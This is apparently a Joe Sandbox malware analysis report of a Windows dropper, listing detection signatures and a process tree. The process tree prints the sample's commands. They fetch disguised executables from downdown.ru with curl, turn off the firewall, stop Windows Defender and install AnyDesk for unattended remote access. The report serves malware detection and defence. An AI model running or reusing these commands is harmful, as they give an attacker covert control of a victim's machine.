Edit tour

Windows Analysis Report
eqRHH2whJu.exe

Overview

General Information

Sample name:	eqRHH2whJu.exe renamed because original name is a hash value
Original sample name:	f18374fa790c5bbf7bc272c10a26f56db99b7d7eee08c986fa4bd20c3c455387.exe
Analysis ID:	1585989
MD5:	685f86f41db34f2ec805449037aa32c9
SHA1:	8391ca015c12b166b806f196b04bb617b3d8d377
SHA256:	f18374fa790c5bbf7bc272c10a26f56db99b7d7eee08c986fa4bd20c3c455387
Tags:	exeuser-adrian__luca
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Powershell download and execute

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Disables DEP (Data Execution Prevention) for certain images

Disables Windows Defender (via service or powershell)

Downloads files with wrong headers with respect to MIME Content-Type

Drops PE files with benign system names

Found stalling execution ending in API Sleep call

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global get message hook

Machine Learning detection for sample

Modifies Group Policy settings

Modifies the windows firewall

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Uses netsh to modify the Windows network and firewall settings

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Yara detected Defender Control Hacktool

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a global mouse hook

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

eqRHH2whJu.exe (PID: 2344 cmdline: "C:\Users\user\Desktop\eqRHH2whJu.exe" MD5: 685F86F41DB34F2EC805449037AA32C9)

Acrobat.exe (PID: 6996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Intel\ 131.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7304 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1736,i,7992334855485178110,2343866547744839284,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3740 cmdline: "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7224 cmdline: "C:\Windows\System32\attrib.exe" +s +h C:\Intel MD5: 0E938DD280E83B1596EC6AA48729C2B0)

conhost.exe (PID: 7232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7292 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7416 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8052 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8140 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7452 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2120 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8172 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7024 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1648 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5960 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7652 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7072 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8176 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8128 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8240 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8484 cmdline: ping -n 6 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

curl.exe (PID: 8844 cmdline: C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 8916 cmdline: C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 8972 cmdline: C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 9032 cmdline: C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 9068 cmdline: C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 9092 cmdline: C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

driver.exe (PID: 9120 cmdline: C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y MD5: 29086D9247FDF40452563C11B3DCA394)

Trays.exe (PID: 9176 cmdline: "C:\Intel\Trays\Trays.exe" -tray MD5: 90D208B856DEA18596D57FFB1DD3A867)

4t-min64.exe (PID: 9208 cmdline: "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll" MD5: 7BC3AEEDC18717D796F1C7FF8DBF0C17)

svchost.exe (PID: 9196 cmdline: svchost.exe --install C:\Intel\AnyDesk MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 1464 cmdline: "C:\Intel\svchost.exe" --local-service MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 5084 cmdline: "C:\Intel\svchost.exe" --local-control MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

netsh.exe (PID: 4216 cmdline: netsh advfirewall set allprofiles state off MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

sc.exe (PID: 7664 cmdline: sc stop WinDefend MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

curl.exe (PID: 8028 cmdline: C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

cmd.exe (PID: 8916 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 6844 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

AnyDesk.exe (PID: 4376 cmdline: AnyDesk.exe --set-password _unattended_access MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

dc.exe (PID: 8964 cmdline: C:\Intel\dc.exe /D MD5: 139464919440E93E49C80CC890B90585)

svchost.exe (PID: 7408 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7660 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7932 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7032 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 1792 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 6472 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7316 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

AnyDesk.exe (PID: 8320 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --service MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 3312 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --control MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 2860 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --new-install MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 8948 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Intel\AnyDesk\bat.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000004B.00000003.1745385956.0000000002E6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DefenderControlHacktool	Yara detected Defender Control Hacktool	Joe Security
0000004B.00000003.1745234234.0000000002E64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DefenderControlHacktool	Yara detected Defender Control Hacktool	Joe Security
Process Memory Space: curl.exe PID: 8028	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Intel\curl.exe, ProcessId: 8972, TargetFilename: C:\Intel\svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: svchost.exe --install C:\Intel\AnyDesk, CommandLine: svchost.exe --install C:\Intel\AnyDesk, CommandLine|base64offset|contains: , Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8240, ParentProcessName: cmd.exe, ProcessCommandLine: svchost.exe --install C:\Intel\AnyDesk, ProcessId: 9196, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Intel\Trays\trays.lnk, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\eqRHH2whJu.exe, ProcessId: 2344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Video Configurations

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: svchost.exe --install C:\Intel\AnyDesk, CommandLine: svchost.exe --install C:\Intel\AnyDesk, CommandLine|base64offset|contains: , Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8240, ParentProcessName: cmd.exe, ProcessCommandLine: svchost.exe --install C:\Intel\AnyDesk, ProcessId: 9196, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7408, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T15:53:45.712427+0100	2008754	1	A Network Trojan was detected	185.125.51.5	80	192.168.2.7	49801	TCP

ET MALWARE Windows Executable Downloaded With Image Content-Type Header

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T15:53:37.877777+0100	2025169	1	A Network Trojan was detected	185.125.51.5	80	192.168.2.7	49745	TCP

ET MALWARE Windows executable sent when remote host claims to send an image M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T15:53:37.877777+0100	2025161	1	A Network Trojan was detected	185.125.51.5	80	192.168.2.7	49745	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://downdown.ru/driver.jpg	Avira URL Cloud: Label: malware
Source: http://downdown.ru/blat.jpg	Avira URL Cloud: Label: malware
Source: http://downdown.ru/svchost.jpg	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Intel\AnyDesk\AnyDesk.exe	ReversingLabs: Detection: 50%
Source: C:\Intel\dc.exe	ReversingLabs: Detection: 50%
Source: C:\Intel\svchost.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: eqRHH2whJu.exe

ReversingLabs: Detection: 55%

Machine Learning detection for sample

Source: eqRHH2whJu.exe

Joe Sandbox ML: detected

Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_45d83196-0

Source: eqRHH2whJu.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\license.txt
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\readme.txt

Source: unknown	HTTPS traffic detected: 92.223.88.41:443 -> 192.168.2.7:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.223.88.41:443 -> 192.168.2.7:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.223.88.41:443 -> 192.168.2.7:49968 version: TLS 1.2

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb] source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000034.00000000.1401160408.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416936306.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1428909421.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430061537.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478215792.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501026272.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479561465.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510030759.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502084151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526013151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510931061.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: svchost.exe, 0000003C.00000002.1659984140.000000000165A000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\win_dwm\win_dwm.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\win_dwm\win_dwm.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ashakhmut\Projects\anydesk\deps\win_system_id\build\win_system_id_dll.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: SAS.pdbR source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000034.00000000.1401160408.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416936306.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1428909421.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430061537.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478215792.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501026272.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479561465.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510030759.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502084151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526013151.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510931061.0000000000A3D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: SAS.pdb source: svchost.exe, 0000003C.00000002.1658817376.000000000145D000.00000004.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Intel\curl.exe	Code function: 52_2_00A2CD06 _wcspbrk,__getdrive,FindFirstFileExW,_wcspbrk,__wfullpath_helper,_IsRootUNCName,GetDriveTypeW,_free,___loctotime64_t,_free,__sopen_s,__fstat64,__close,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,GetLastError,__dosmaperr,FindClose,	52_2_00A2CD06
Source: C:\Intel\curl.exe	Code function: 52_2_00A2FCDD _wcspbrk,__getdrive,FindFirstFileExW,_wcspbrk,__wfullpath_helper,_IsRootUNCName,GetDriveTypeW,_free,___loctotime64_t,_free,__sopen_s,__fstat64i32,__close,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,GetLastError,__dosmaperr,FindClose,	52_2_00A2FCDD
Source: C:\Intel\driver.exe	Code function: 58_2_0040F8BC FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError,	58_2_0040F8BC
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_045C4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	59_2_045C4400
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_00407C0E FindFirstFileA,	59_2_00407C0E
